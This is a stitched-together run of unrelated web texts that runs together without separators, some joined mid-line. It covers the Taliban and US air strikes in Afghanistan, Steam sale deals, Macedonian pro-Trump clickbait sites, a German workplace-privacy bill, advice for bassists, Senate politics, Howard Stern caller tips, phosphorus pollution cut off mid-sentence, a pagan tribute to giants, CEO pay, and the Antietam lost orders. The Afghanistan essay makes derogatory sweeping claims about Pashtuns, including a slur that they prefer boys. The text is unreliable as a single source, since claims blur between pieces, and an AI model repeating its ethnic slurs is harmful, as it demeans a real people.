There are a lot of very familiar patterns in this story. If you zoom out from Wanat and look at the bigger situation in southern Afghanistan, you’ve got the classic ingredients for a long, bloody guerrilla war: a big ethnic group on both sides of an artificial border, difficult terrain, and dirt-poor peasants with a long tradition of fighting just about everyone who comes along, from Alexander the Great to the 19th century British. The Pakistani/Afghan border is 1,500 miles long, and the people living on both sides of it are Pashtun, the biggest ethnic group in Afghanistan and the support base of the Taliban. The Taliban started as a Pashtun resistance to the Northern Alliance warlords, mostly Uzbeks and Tajiks, who took power after the Soviet pullout in 1989, and the Taliban is still mostly Pashtun. The reason you don’t hear so much about the ethnic angle is simple: Neither side wants to push that angle in its propaganda. The Taliban would like to claim to be defending Islam, and the Americans are happy to go along with that, so they can say we’re fighting Islamic terror. But the fact is that the Taliban stands for old-school Pashtun tradition more than for Islam. And the Taliban is divided even further, with complicated loyalties to local warlords and tribal chiefs. There are three main factions right now, and the one that runs Kunar Province is run by an old friend of the CIA’s from the 1980s, Gulbuddin Hekmatyar. Hekmatyar was always a tough guy to handle, for the CIA and the Pakistani intelligence service, ISI, and when the foreign troops finally withdraw, it’s a safe bet that his faction of the Taliban will just switch to fighting the other two. But for now, the three factions seem pretty solidly united against the ISAF, the American-dominated occupying force.
When the U.S. Air Force started bombing Afghanistan in October 2001, the Taliban had beaten the Uzbek/Tajik Northern Alliance and controlled most of the country. Not all of it; the Taliban never had the strength to control all of Afghanistan. In fact, it was overstretched, with small garrisons scattered through hostile tribes’ territory. The Taliban had also managed to make itself hated by just about all the non-Pashtun population of the country by pushing its backwoods Pashtun rules on everyone else, and shooting or hanging anybody who complained.
What’s scary now, for the ISAF’s chances of holding on to the country, is that the Taliban seems to have learned its lesson. It never had a reputation for sophistication, and its hillbilly Pashtun ways weren’t exactly calculated to win hearts and minds. The Pashtun have always been a little strange. They have probably the most anti-women attitude of any tribe on earth. Here are a couple of Pushtun proverbs that give you the general idea: “Women belong either in the house or in the grave,” and “Even one’s own mother and sister are disgusting.” They don’t even claim to find women attractive; for the typical Pashtun warrior, the sexiest thing around is a little boy.
But, like the old saying goes, “pain is the best teacher,” and the pain the Talibs suffered when they were crushed in 2001-2002 seems to have made them a little more humble and flexible. This is something you see in a lot of guerrilla wars: After a defeat, the guerrillas come back much smarter and more patient, because the enemy has been acting like a sped-up Darwin, pruning the movement by killing off the hotheads, the sadists and the crazies, until only the smarter guerrillas, who had the sense to lie low, are left.
At any rate, the new Taliban has been a lot more patient and sophisticated than the pre-invasion model. So Afghanistan hasn’t been quiet in a good way these past few years; it’s been quiet like the old line in Westerns: “It’s quiet — too quiet.”
The new Taliban has learned to tap into the poor peasants’ grudges. And Lord knows the Afghan peasantry is poor, and getting poorer, with 70 percent unemployment.
Even USA Today, always ready to put a smiley face on total misery, admits that the average yearly income in Afghanistan is only $300.
So overall, Afghanistan has rotten living conditions — not a promising market if you’re selling the new iPhone, but perfect conditions, lab-level perfect, for selling rebellion. In the early stages, successful rural insurgencies don’t even worry about combat much. They focus on quietly setting up a local government that replaces the occupiers’ puppet government. If you’ve read much about how the Viet Cong worked in South Vietnam, you’ll recognize the pattern: The puppet government runs around looking busy in the daytime, but when the sun goes down the guerrillas go into action, collecting taxes and settling local disputes, even holding court proceedings in caves, barns or somebody’s hut. The idea is to keep the locals from contacting the occupiers, denying them basic intelligence about what’s going on in the villages, and at the same time making your group indispensable by helping to handle the local feuds, even helping them in the fields. The Taliban has spent the last six years doing all that, to the point that most of Afghanistan now has Sharia-based Taliban courts settling criminal cases.
Against this sort of insurgency, the only effective countermeasure is good, sophisticated local intelligence. And we haven’t exactly won any prizes in that department, in Iraq or Afghanistan. If you’ll recall, the first American casualty was a CIA interrogator named Johnny Spann, who got mobbed by Taliban prisoners he was trying to interrogate at Mazar-i-Sharif. Spann was the first to interrogate the infamous John Walker Lindh, our own Marin County-raised Talib, and what he asked Lindh — up there in northern Afghanistan, in a crowd of flat-hatted, sullen Talibs who were just about to rush him — was, “Are you a member of the IRA?” (I wish I knew what Lindh said back, in that Marin County stoner drawl: “Nooo, deewd, but I was in the Tamalpais High Jazz Band.”)
To make up for the big gaping hole where our military intelligence should be, we’ve been using William Westmoreland’s failed formula: massive firepower. Donald Rumsfeld’s doctrine of doing counterinsurgency warfare on the cheap, with very few troops and lots of air strikes, means that the ISAF has very little local intelligence and has to depend on air power, which worked well enough in the initial defeat of the Taliban in 2002, but just plain doesn’t work in counterinsurgency warfare, because that kind of warfare is about not firing until you know exactly who you’re shooting at. To gain that sort of local knowledge, you need troops settling in to the villages, getting to know people. What you don’t need is F-18s orbiting at medium altitude looking for targets. Unfortunately, that’s what we’ve been using to suppress the Taliban.
Those fighter jets can’t tell the difference between a wedding party carrying the bride to her husband’s village and a Taliban column moving to the attack. And when in doubt, they tend to assume all large groups on the move are Taliban. For six years, ISAF warplanes have been bombing Pashtun wedding parties and processions. It seems to happen over and over again. I’m not sure why. Maybe weddings are the only time that Pashtuns get together in big numbers, big enough to draw fighter pilots’ attention. Maybe it’s their habit of firing rifles to celebrate. But for whatever reason, we have bombed and strafed enough wedding parties to rouse centuries of hatred from the Pashtuns.
And it’s no coincidence that one of the worst of these wedding attacks happened a few miles from Wanat, exactly one week before the Taliban attacked there. On July 7, U.S. Air Force planes killed 47 civilians in a wedding party in Nangarhar. Apparently they mistook a column of relatives taking the bride to her new village for a Taliban force on the march.
That’s the kind of mistake that makes guerrillas very happy. If you’re a Taliban commander, you couldn’t wish for a better scenario than a U.S. air strike on a wedding party to rile the people up against the foreign occupier. The guerrillas don’t lose a single fighter in an operation like that. In fact, they gain huge numbers of recruits because everyone who hears about the air strike wants to volunteer to avenge the dead. By trying to do Afghanistan on the cheap, following the Rumsfeld Doctrine that air power can do everything, we’ve played right into the hands of the new and improved Taliban.
This article first appeared on Alternet.org.SOME OF THESE MAY END UP BEING FURTHER DISCOUNTED DEALS,
The goal here is to find games that are available on the Steam Sale that are either the cheapest or just as cheap as they've ever been, not daily deals or flash sales or whatever, just games hidden in the corners of Steam sales that may have been overlooked.To qualify, three things:1.) Cheapest ever been or cheaper.2.) Steam Summer Sale 2014 sales that are not daily deals/flash sales/community votes.3.) Not been in more than two bundles at most, or bundled going on during the sale (few exceptions may get by if they're literally dirt cheap)The list in the OP updates, so make sure to check back~I'll be posting USD prices, but should be discounted in all regions for most games. Also do not take this list as a 'best of' list, if you're curious about the quality of a game (no matter how affordable it is), feel free to ask here.so be wise. The best option is to always spurge on the final day of the sale (which will be the 29th for regular discounted games).From Macedonia to the San Francisco Bay, clickbait political sites are cashing in on Trumpmania – and they’re getting a big boost from Facebook
Donald Trump may be struggling to capture a majority of voters in the heartland of America, but there is one eastern European precinct he would likely carry in a landslide – if only they were allowed to vote in US elections.
The town of Veles, Macedonia (population 44,000), is the unlikely home for dozens of avowedly pro-Trump political news sites, featuring headlines like Hillary’s Illegal Email Just Killed Its First American Spy and This is How Liberals Destroyed America, This Is Why We Need Trump in the White House.
The Guardian has identified more than 150 domains registered to people claiming addresses in Veles, though not all of those are associated with active websites.
Some claim to garner millions of page views per month. Most others are relatively obscure. All of them exist primarily for one reason – to cash in on the seemingly endless appetite for news about Donald Trump. And they’re getting a big boost from Facebook.
Fake names and death threats
The creator of a popular Macedonian site, “Alex” claims that he was one of the first of his countrymen to write about US politics. (Alex is not his real name, and he spoke on condition of anonymity.) He claims his neighbors copied his idea and have capitalized on the Trump wave. According to Alex, his site gets more than 1m visits a month, roughly half of them driven by his Facebook page.
“We are an independent news magazine with [our] primary goal to influence American policy, especially politics,” says Alex, who originally favored Ted Cruz in the Republican primaries. “Then my city fellows saw what I was doing and started to copy my work. They are just looking to earn money from ad networks.”
In fact, these foreign sites probably wouldn’t exist without their domestic counterparts, from whom they crib many of their stories. (Alex admits he started out by copying and pasting stories from conservative US news sites but says he’s recently hired a half-dozen US-based writers to produce original content.)
There are hundreds of relatively obscure political sites registered on this side of the Atlantic that grab news from mainstream outlets, rewrite the headlines to be click-friendly, and blast them out to their readers using Facebook.
Many of these sites are registered privately, and the author names that appear on their pages are often fictitious or nonexistent. Using the search engines provided by Domain Tools, the Guardian was able to comb through historical domain name records and contact the owners of some of these sites.
Writing a clickbaity headline and dashing off 400 words in 15 minutes is not a skill they teach in journalism school
At Bipartisan Report, a left-leaning news site, about two-thirds of the authors use pseudonyms, says publisher Justin Brotman. The reason? Personal safety.
“Most of our authors start out saying, ‘I’ll use my real name, I don’t care’,” he says. “One week in, after they start getting death threats, they change their minds.”
Brotman won’t reveal how much money his site makes, but it’s enough to pay a staff of 15 freelance writers, who get compensated based on how much traffic their stories generate. Bipartisan Report’s Facebook page, which has 825,000 likes, plays a large role in sending traffic his way.
“All social media is of utmost importance,” he says. “If your goal is straight page views then Facebook is the best investment of your time. It does drive more ‘clicks’ than posting on other platforms with an equal amount of followers. But I’d put Twitter way ahead in lending credibility and enhancing our brand.”
Race, politics, travel plans: things Facebook's algorithm can't get right Read more
‘Share, share, share it all over Facebook’
Even smaller sites are making bank on the surge of interest in the Republican nominee. Liberty Writers News, a two-person site operating out of a house in the San Francisco Bay Area, generates income of between $10,000 and $40,000 a month from banks of ads that run along the side and bottom of every story.
Paris Wade and his partner Ben Goldman have mastered the art of getting traffic. The ability to write a clickbaity headline, toss in some user-generated video found on YouTube, and dash off a 400-word post in 15 to 30 minutes is a skill they don’t teach in journalism school, says Wade, who graduated from the University of Tennessee with a degree in advertising.
Three months after launching the site, Liberty Writers News gets up to 700,000 visitors a day, a number that has been doubling every month. Again, though, they owe nearly all of that growth to Facebook.
“About 95% of our traffic is coming from Facebook,” Wade says. The Liberty Writers News page has about 150,000 likes, but by sharing stories with other like-minded Facebook pages, they can extend their reach to as many as 7m or 8m viewers, he adds.
They spend around $3,000 a month paying Facebook to promote the page. Once they started doing that, their traffic doubled, says Wade.
They also end some stories with enthusiastic cries to “*** Share this right now! Let’s beat the liberal media to it. Share, share, share it all over Facebook.”
But what Facebook gives, it also takes away, Goldman adds. If one of their stories gets shared too quickly, Facebook assumes it is spam and throttles it for a period of time, which reduces the number of people who can see it in their news feed. That doesn’t happen to mainstream sites such as the New York Times or Washington Post, he adds.
Those sites feature a blue check mark on their Facebook pages, certifying they are authentic brands. That’s one of the reasons the pair are talking to the press – to establish their credentials as a legitimate news organization so Facebook will stop throttling them.
“We want that blue check mark,” Wade says.
The US presidential election will be over in less than three months. Regardless of the outcome, Trump fever is likely to subside, possibly leaving many of these sites without their biggest source of traffic. Goldman and Wade say they’ll just transition to covering other news about politics or celebrities. “People love stories about celebrities,” he says.
Even Alex the Macedonian publisher is not worried. “I think my traffic will be fine if Trump doesn’t win,” he says. “There are too many haters on the net, and all of my audience hates Hillary.”The German government has tabled a draft bill that would ban employers from profiling job applicants on social networks such as Facebook and prevent clandestine video surveillance at work.
Under the envisaged law, employers would still be able to run Internet searches on the names on the persons they want to hire, as long as the information is publicly accessible or present on professional websites, such as LinkedIn.
But becoming friends with the prospective employee or even hacking their Facebook account in order to get personal information will be illegal and punishable with a fine of up to €300,000.
The measure may be difficult to enforce, however, as the employee would have to prove that personal information landed in his hiring file.
Presented by interior minister Thomas de Maiziere, the draft bill also includes a ban on secret video surveillance at work, after a series of scandals with big companies spying on their employees.
Discount-supermarket chain Lidl, car manufacturer Daimler, as well as the state-owned railway operator Deutsche Bahn have been criticised in the media for having installed secret cameras at the cash-desks, in the fitting rooms and in toilets, and for having snooped on employee's emails and private accounts.
Installing video cameras will still be allowed, but not in restrooms and fitting rooms and only as long as the employees are informed.
The bill still has to be debated and approved by the country's parliament after summer. It is expected that some of its provisions will be watered down, as powerful employers' associations have already signalled their opposition.
The retailers' association HDE said some of the regulations go much too far, and outlawing clandestine video surveillance would be wrong. "Here we hope for changes in the government draft," HDE said in a press release.
Germany's data protection watchdog, Peter Schaar, applauded the government's effort, calling it long overdue.
It is "a substantial improvement on the status quo in dealing with employee's data," he said. Germany's privacy rules are among the strictest in Europe, as a consequence of the secret surveillance imposed by the government during the Nazi regime.
After an outrage in Germany sparked by its street imagery programme, Google introduced an online tool just for Germans where they can request in advance that their properties do not appear on Street View.
A criminal investigation has also been launched into Google's collection of unencrypted Wi-Fi data as part of Street View, which the company said was a mistake and has stopped.Welcome to the first part of a series on what tools you’re probably going to need to land a gig that will keep the bills paid and food in your mouth. These tips come courtesy of bassist Larry Crew, who has had a serious 30+ year career in the Nashville music industry. Read these things. Repeatedly. Read them until we release the next part of the series. Read that repeatedly, too. Then read this. Repeatedly. See a pattern? Without further adieu….
by Larry Crew
Bass Frontiers Contributor
After thirty plus years in the trenches, playing bass in every conceivable musical situation, I felt compelled to retrospectively share with my comrades what I deem to be the most important ingredients to guarantee a successful career as a working bassist. The good news is that you can achieve this without being an alumnus of the One O’clock Band, a jet speed slap/tap player, or sounding like the next Jaco Pastorius. These players are nothing less than amazing, and I have the utmost respect for their talent, but there are other ways to make a living in music without being a high profile virtuoso. Let’s face it, there will always be someone more or less skilled than you, no matter where you are on the “ability” ladder. I’m not a glorified chops player, nor do I aspire to be one. But I am living proof that you can have a very fulfilling career if the right approach is taken, and there is a clear understanding of the rules of the road from the get-go. I’d like to share some fundamental insights into important things that I’ve observed throughout my career that many of the great working bassists have in common, regardless of popularity, or what their niche is (was).
Profound Love of Music
First off, you must really LOVE what you do. If not, be honest with yourself and try to find a career or instrument that is better suited to your skills. Nobody wants to share the stage with a sad sack that carries a dark cloud with him everywhere. There are many challenges to be prepared for including serious wood shedding, cash flow fluctuations that would graph like a see saw, juggling your personal life with the working/traveling aspect, the highest emotional highs, and the lowest lows. Without a natural instinct to stay the course through thick and thin, you will likely be disappointed. This is for real, you better believe it! Anyone who has done this for a long time will tell you the same thing. Have a clear understanding of the realities of the music business, and learn to expect the unexpected.
Solid Time
Time is of the essence. Highly sought bassists have excellent time and are always aware of its importance while interacting with other players. A bass player with lousy time makes everyone else miserable. The music will never soar if the pocket is not there. When the drummer and bassist lock together, the music simply plays itself in an effortless way. NEVER practice without a metronome or some type of metronomic device. Years ago, I had a student that stepped into my studio for a lesson, wanting to learn more about technique that recording session players use. When I asked him to play something for me so I could assess his current skills, he immediately dove into a blistering Jaco riff that blew circles around me. I paused for a moment, turned on the metronome to match his tempo and politely asked him to play it again. Sadly, it was disastrous. It wasn’t even close. He became flustered and I never heard from him thereafter. I’ve heard many players over the years play like this, and they are seemingly unaware of their shortcomings until addressed by someone with an objective ear. All the chops in the world are totally meaningless if the time is missing, and you can’t play well executed, even, subdivisions in your moving lines. Be aware and don’t let your own ego blind you to this pitfall. You can only begin making real music when time becomes second nature and you become free to create interesting phrasing using all the other tricks of the trade, combined with a steady pulse.
A Distinctive Sound/Pleasing Tone
There is no limit today to the number of choices we have for developing and shaping our sound. We have the major instrument makers and custom builders, all of whom use a wide selection of wood, electronics, and hardware, and miscellaneous materials to create instruments. Listening to different players will reveal vastly different tones as well. A lot of this is in the fingers, but there is no substitute for a finely crafted instrument that will let you speak through it with your own individuality. When developing your sound and style, listen to others but don’t be a copy cat. Listen to them, learn why their sound/method works, store this info in your memory bank, build on these learned fundamentals, and then create something that listeners will identify with you as unique. Players get way too caught up on how so and so used this electronic device and this particular bass, and this or that pickup to get that sound. If you are not careful, you will only chase your tail into infinity. You will also be inadvertently promoting the career of your idol, instead of your own. In my opinion, you still can’t beat a good old fashioned Fender electric bass. They sound great on a wide variety of styles, and most of the newer custom basses are not much more than a facsimile of the original design that Leo Fender created back in the 1950’s, with additional bells and whistles (they also come with higher price tags in many instances). I’m not knocking custom instruments. I’ve played some fabulous ones, and there are many I’d love to own. I’m simply implying that you can make great music just as well with the tried and true.
Larry Crew was born in Richmond, VA where he grew up playing in high school band and a variety of local groups. He was influenced by many different types of music prevalent in the area, including classical, jazz, r & b, beach, funk, country, and rock. Later, he earned a Bachelor of Music degree from James Madison University in the Shenandoah Valley, before eventually settling in Nashville, TN. Here, he began a vibrant career as a free lance musician playing bass on numerous recordings and shows with a wide variety of hit songwriters, artists, and producers, including Greg Guidry, BJ Thomas, Deborah Gibson, Dennis Locorriere, Bobby Vinton, Randy VanWarmer, Jim Weatherly, Billy Walker, Skeeter Davis, Boots Randolph, Mickey Gilley, Aaron Tippin, Bobby Jones, The Mills Brothers, Lucy Arnaz, Larry Braggs (Tower of Power), Sarah Darling, Dan Huff, Jim Ed Norman, Tim Dubois, and Harold Bradley. He continues to perform and record, and has recently released two self produced musical collections recorded by his personal ensemble, Crewation, entitled Heads And Hearts, and A Crewation Christmas, currently available as digital downloads from CD Baby.Some Democrats, including Mr. Schumer, tried to appeal to Mr. Trump early on.
“I told him infrastructure and tax reform should have been the first thing out of the box,” said Senator Joe Manchin III, Democrat of West Virginia, whom both parties expected to be an early ally of Mr. Trump. But, Mr. Manchin said, the president chose a more partisan agenda. “Someone got to him,” he said.
Mr. Manchin spoke with the president early in his administration — leading to speculation that he might even land a job within it — but has since been largely ignored by White House officials and Senator Mitch McConnell of Kentucky, the majority leader, who has mostly iced out Democrats in this Congress.
Mr. Manchin has no interest in the Senate health care bill, which would greatly cut the Medicaid program in his poor, rural state, a concern shared by his Republican counterpart from West Virginia, Shelley Moore Capito. Mr. Manchin has largely voted against Mr. Trump’s agenda and nominees. (He was the one Democrat who voted to confirm Jeff Sessions as attorney general, but that was out of friendship with Mr. Sessions more than fealty to Mr. Trump.)
The country has a long history of senators from the opposite party working to help pass a new president’s agenda. Former Senator Max Baucus, Democrat of Montana, supported President George Bush on a broad trade agreement, and sided with President George W. Bush on a large tax cut and the expansion of a prescription drug benefit for older Americans, infuriating his own party.
“Both Bushes were very deeply experienced, as were their cabinet officials,” Mr. Baucus said in a telephone interview from Paris on Wednesday, noting that the White House had courted him on every measure he ultimately supported. “Jim Baker took the cake,” Mr. Baucus said, referring to George H. W. Bush’s chief of staff, who called him to wheel and deal on the North American Free Trade Agreement. “Donald Trump and his people have no public policy experience, and it shows.”
Congressional leaders, emboldened by the total Republican control of Washington, are now pursuing a partisan agenda largely through methods that require no help from Democrats. Senate committees, where bipartisan bills have historically been forged, are not developing big bills right now, which have been left to leadership teams instead.
Mr. Baucus, who served in leadership roles on the Senate Finance Committee, met with his Republican counterpart, Senator Charles E. Grassley of Iowa, “every Tuesday at 5:30 for 12 years, even if it was just to talk about our kids,” Mr. Baucus said, and that helped pave the way for bipartisan legislation.HOW TO CALL THE HOWARD STERN SHOW
A fan blog by Joe Howes (aka RjakActual on Reddit)
I've never called in to the show, but I felt like posting something about callers.
Howard has some GREAT callers, but I think some callers who COULD be great screw up their chance because of a few simple mistakes.
I'm no expert, but I really feel that avoiding these simple caller mistakes, which obviously annoy Howard, can increase your chances of making a great call:
1) Get to the point IMMEDIATELY: "Long time/first time" is interesting to one person in the universe -- you. No one else cares.
2) I repeat.... get to the point IMMEDIATELY. Don't waste your valuable up-front time with "Hey Howard!!", or "How ya doin' Howard!!", or "Hello? Hello? Howard???". If the mood is right, shoot him a quick "Hey now" and then get to the point. It's probably confusing being in the queue and then suddenly BAM you're on the air, but just talk. If you're not on the air, no one will know, because you're not on the air.
3) Use a reliable phone. Make sure you call in using a line you've previously tested with other people. You might call people all the time and hear them clearly, but that means THEY have a good line, not you. You have to ask people "Am I dropping out? Can you hear me? Is there static?" You have to be proactive these days about verifying your call quality.NOTE: u/thedevilsdictionary gave the number of an echo line you can call (I verified it works) to hear back your own call quality: 909-390-0003.
4) If you want to talk about yourself, make sure your story is VERY interesting, and make sure the story can be told, with the interest maximized, in under 20 seconds. If there are details you want to include but don't need to include, leave them out. Howard is a grand master ninja interviewer, give him a reason to dig deeper and find out more.
5) Know that some of the best callers say one or two sentences and then drop out. They know the show, they know Howard, and they simply bring up a conversation point they know Howard will run with. Wack packers get to avoid most of these rules because they're interesting. If you're just a regular caller, a short contribution can be AWESOME.
6) If you've piqued Howard's interest and he's talking, SHUT THE F*CK UP. Don't talk over him, and don't make him turn down your volume.
This can be tough, because I'm sure once you're on the air, your excitement gets the better of you, especially new callers. You have to resist that shit. Howard doesn't hang up on interesting callers.
If he's talking about what you said, YOU'VE WON. Hang on, wait for a pause to interject again, wait for him to ask you something.
Maybe I'm out of line because I've never called, but as a listener, callers who avoid these mistakes are my favorite.Published online 29 September 2010 | Nature | doi:10.1038/news.2010.498
News
Overuse of the fertilizer has wasted a valuable natural resource and caused serious pollution.
This dead fish, in Lake Tai, eastern China, is likely a victim of excess phosphorus, which causes algal blooms in lakes and rivers. Color China Photo/AP
Researchers are warning that inappropriate management of phosphate fertilizer and animal manure in China has resulted in serious water pollution and substantial waste of phosphorus, a non-renewable inorganic chemical.
Soils in many parts of the world are deficient in the chemical, which is required for plant growth. In its phosphate form, phosphorus is a vital part of the cell's genetic material, and is also found in adenosine triphosphate (ATP), the main energy carrier in cells.
As demand for food production rises, so does the global demand for synthetic fertilizer, in which phosphorus is a key ingredient, says Luc Maene, director-general of the International Fertilizer Industry Association. Last week, as the non-profit research organization organization IFDC (formerly the International Fertilizer Development Centre), headquartered in Muscle Shoals, Alabama, announced its latest estimate of the global reserve of phosphorus, Chinese researchers presented their findings on China's phosphate use at the 4th International Symposium on Phosphorus Dynamics in the Plant-Soil Continuum in Beijing. They called for a rethink of current fertilization practices.
Phosphate, phosphate everywhere
Zhang Fusuo, a plant nutritionist at the China Agricultural University in Beijing, says China has 9% of the world
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mountain with a child in his arms. The Giant is being flattered by calling him “holy” and then asked to close the wound.
Whether this charm or prayer was tied to the rock formation of a specific location that looked like a Giant holding a child cannot be determined anymore.
It’s possible that just like the German Horse Blessing there are forgotten allegories or metaphors we just cannot decipher anymore nowadays.
Even if there had never been a historical Giant cult, who says they cannot or should not be venerated? They have truly remained trolltrygg and have kept this world alive and still in relative balance despite what we have done and continue to do to it. For this alone they deserve the utmost respect that they were so long denied.
Their path is one of selflessness. They know of their personal futures, of their fates, and yet they accept it, working towards the next great leap in evolution (Ragnarök) without fear or regret. Nature itself cannot die. Nothing can. There is no death, only transformation.
The Asen are fighting so that there will be something left after our world has been burned, that is their role and they fulfill it just as dutifully. They are the stabilizing forces, without the giants they would represent stagnation. Without the Asen the giants would be “Utangardian”, unpredictable and most likely utterly dangerous.
If you praise the Asen and the Wanen, blot to the Alben, toast the dwarves, bow to the Idisen and give a nightly thanks to your Fylgja, yes, even give an acknowledging nod to Hel around the time of the second Idisenblot, do not be a hypocrite and shun or ignore those forces this world was made of and still essentially consists of. Hail the Giants!
AdvertisementsBy Jake Johnson / Common Dreams
Wages for most American workers have remained basically stagnant for decades, but a new report published on Thursday by the Economic Policy Institute (EPI) shows that the CEOs of America’s largest firms have seen their pay soar at a consistent and “outrageous” clip.
Between 1978 and 2016, CEO pay rose by 937 percent, EPI’s Lawrence Mishel and Jessica Schieder found. By contrast, the typical worker saw “painfully slow” compensation growth—11.2 percent over the same period.
Mishel and Schieder also note that CEOs of “America’s largest firms made an average of $15.6 million in compensation, or 271 times the annual average pay of the typical worker.”
“While the 2016 CEO-to-worker compensation ratio of 271-to-1 is down from 299-to-1 in 2014 and 286-to-1 in 2015, it is still light years beyond the 20-to-1 ratio in 1965 and the 59-to-1 ratio in 1989,” the report observes. “The average CEO in a large firm now earns 5.33 times the annual earnings of the average very-high-wage earner (earner in the top 0.1 percent).”
(Image Credit: Economic Policy Institute)
EPI’s report is just the latest on an ever-expanding list of analyses documenting America’s staggering income inequality, which is the worst in the industrialized world. In March, the economists Thomas Piketty, Emmanuel Saez, and Gabriel Zucman labeled the U.S. inequality crisis—the massive gap between the wealthiest and everyone else—”a tale of two countries.”
“For the 117 million US adults in the bottom half of the income distribution, growth has been non-existent for a generation, while at the top of the ladder it has been extraordinarily strong,” Piketty, Saez, and Zucman wrote.
Mishel points out that the vast disparity between CEO pay and average worker compensation, which EPI documents annually, “is a major driver of inequality.”
“Simply put, money that goes to the executive class is money that does not go to other people. Rising executive pay is not connected to overall growth in the economic pie,” Mishel argues.
“We could curtail the explosive growth in CEO pay without doing any harm to the economy.”
EPI proposes several policies that would curtail executive pay and potentially put more money into the pockets of workers, including “higher marginal income tax rates at the very top” and higher taxes for companies with high CEO-to-worker pay ratios.
The Trump administration, however, has indicated that it intends to do precisely the opposite. President Donald Trump’s proposed tax policies, a recent analysis found, would provide massive cuts for the rich while hiking taxes for many middle class families.
For this reason—and simply because of “history and greed”—Mishel told The Guardian he “fully expect[s] CEO compensation to escalate in the near future.”The lost document that changed the course of American history: How Robert E. Lee's secret Civil War battle plans were found wrapped around cigars under a locust tree - and ended up in Union hands
Copy of Confederate Gen. Robert E. Lee's detailed battle plans discovered by Union troops under a locust tree in a field
Acting on Lee's plans, Gen. George B. McClelland planned offensive attack which would become Battle of Antietam
In America's bloodiest day, the Union rose to victory, altering fate of entire Civil War
President Lincoln had told cabinet that he would let fate of Antietam was God's will, and if Union lost, slaves weren't meant to be freed
As the 150th anniversary of the Civil War continues to be commemorated, progenies of those who fought in the bitter battles between the North and South have converged to remember the sacrifices on both sides.
But tucked inside an exhibit in Frederick, Maryland is a two-page document from Robert E. Lee – found wrapped around a case of cigars – that could have changed the course of the entire war, and led to victory for the Union.
It's a handwritten copy of Gen. Robert E. Lee's secret Special Orders No. 191, detailing the Southern commander's audacious plans for an invasion of enemy territory that would propel the Confederates to victory. Carelessly left behind as Lee's army marched north, the copy was spotted in a field by the Indianans, and Lee's name jumped out as Barton Mitchell and John Bloss read it.
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Fate change: A handwritten copy of Gen. Robert E. Lee's secret Special Orders No. 191, detailing the his plans for an invasion of enemy territory that would propel the Confederates to victory; it was carelessly left behind as Lee's army marched north and was discovered in a field under a locust tree
Bloody battle: The Battle of Antietam was the bloodiest 12 hours on American soil, and was the turning point where the Union beat the Confederate Army; here, men gunners lie dead beside their smashed battery in a field alongside the whitewashed Dunker church
Battlefield today: Dave Maher, wearing a uniform like those of Union army soldiers, stands in front of the simple white church building of the pacifist Dunker sect on the Antietam battlefield
Now, on the Sesquicentennial of the famous battle – still referred to as the Battle of Sharpsburg in the South – descendants of those who fought and died are remembering the chance carelessness that could have won the war for the North.
When Bloss and Mitchell passed their stunning find up the chain of command, Lee's counterpart, the famously cautious Union Gen. George McClellan, exclaimed, 'Now I know what to do!'
Four days later came the cataclysmic clash along the Antietam near Sharpsburg - what James McPherson, the eminent Civil War historian, has called 'arguably... THE event of the war.'
Over years of study, the Princeton professor and Pulitzer prize-winning author has come to rank Antietam and the finding of the lost orders among the most notable moments when America's trajectory turned and its very future was reset.
Pondering the 'one-in-a-million' opportunity that the Indiana infantrymen seized, McPherson said he understood their family members' excitement. 'They can take pride in what they did,' he said in an interview, 'but also marvel at the accidental nature of it.'
This is a story about a harrowing battle that let America become the nation it is today, and about the thread of fate on which some say it hung.
A few colonial-style buildings surrounded by well-kept cropland mark the historic Best Farm outside Frederick. A few weeks ago, visitors ignored a misty rain to explore where Lee had set up temporary headquarters after plunging into enemy territory.
A drawn-out war, Lee knew, favoured the better-supplied and more populous North, and so he hoped a thrust directly into the Union, threatening its cities, would cap the South's latest victories with a demoralizing, decisive blow.
Twist of fate: Soldiers stand next to a lone grave after the fight, which might never have occurred if the copy of Gen. Lee's invasion orders accidentally fell in a farm field and were discovered by Union infantrymen
Never averse to risk, Lee made a fateful decision while camped at the farm (now part of Monocacy National Battlefield, host of the lost orders exhibit): He would divide his army into four parts. While portions of the Confederate force would move deeper into Maryland, others would capture the federal garrison at Harper's Ferry (now West Virginia), and then all would reunite to press their advance toward Pennsylvania.
He detailed the bold plan in Special Orders 191 and had copies distributed to commanders. After reading the top-secret order, one recipient sewed his copy into his coat lining, one burned his, and Gen. James Longstreet wadded his up and chewed it like plugs of tobacco.
But, almost incredibly, when the army marched from Frederick to carry out the order, something 'freakish' happened, as Sears put it: One copy was somehow dropped. No one has ever conclusively determined how.
Tucked in an envelope, which also contained a few cigars, the two pages fell in a field under a locust tree where soon afterward the Union army, slowly shadowing the invaders, moved in.
The 27th Indiana was part of that army, and Sgt. John Bloss picks up the story in a letter home: 'Corporal Mitchell was very fortunate at Frederick. He found General Lee's plan of attack on Maryland and what each division of his army was to do. I was with him when he found it and read it first. I seen its importance and took it to the Col. He immediately took it to General Gordon, he said it was worth a Mint of Money & sent it to General McClellan.'
Barton Mitchell served alongside John Bloss in the 27th Indiana Volunteer Infantry and suffered a life-shortening wound at Antietam - one of the 23,000 casualties that made the battle on September 17, 1862, the single bloodiest day in U.S. history.
Thousands gone: Following the battle, dead Confederate soldiers were placed in a ditch; the Civil War battle left 23,000 casualties on the single bloodiest day in U.S. history and mark a crucial pivot point in the war
The doomed Union cause
Americans north and south had endured a year and a half of brutal Civil War.
By September 1862, the weariness and worry of its ups and downs showed in soldiers' troubled letters home, in newspapers' jittery overreactions to each development, in the haggard face of Abraham Lincoln.
After a promising spring when Union soldiers and sailors had a series of successes, major reversals in the summer crushed Northern morale.
An offensive by McClellan nearly reached the gates of the Confederate capital of Richmond, but stalled. Lee drove the federals back. When the rebels then thrashed a large Union army at Manassas, Virginia (the second humiliating Northern loss there), despair and panic engulfed Washington, D.C., just 20 miles away.
'The Union cause is doomed,' a newspaper warned flatly, and a visitor to the anguished Lincoln reported the president 'felt ready to hang himself.'
'This was the low point of the war for him.... Everything was going wrong,' said Stephen W. Sears, author of the Antietam history, Landscape Turned Red, in an interview with the Associated Press.
Nor were battlefield setbacks and ineffective military leadership the only concerns weighing on the president's mind.
Lincoln knew that European powers were closely monitoring the war. A naval blockade had cut into trade between the South's cotton suppliers and the British textile industry, costing many jobs there.
Both London and Paris were openly considering mediation to end the war and recognition of the Confederacy. After Manassas, Britain's prime minister suggested that another victory or two would prove Southern independence was 'firmly and permanently established.'
Onward: On the sesquicentennial of the war, reenactments have been common; here, a Union officer, center, leads his troops during a Civil War re-enactment using 8,000 volunteers
Cannon-fire: Civil War re-enactors fire a 12-pound Napoleon cannon in Maryland
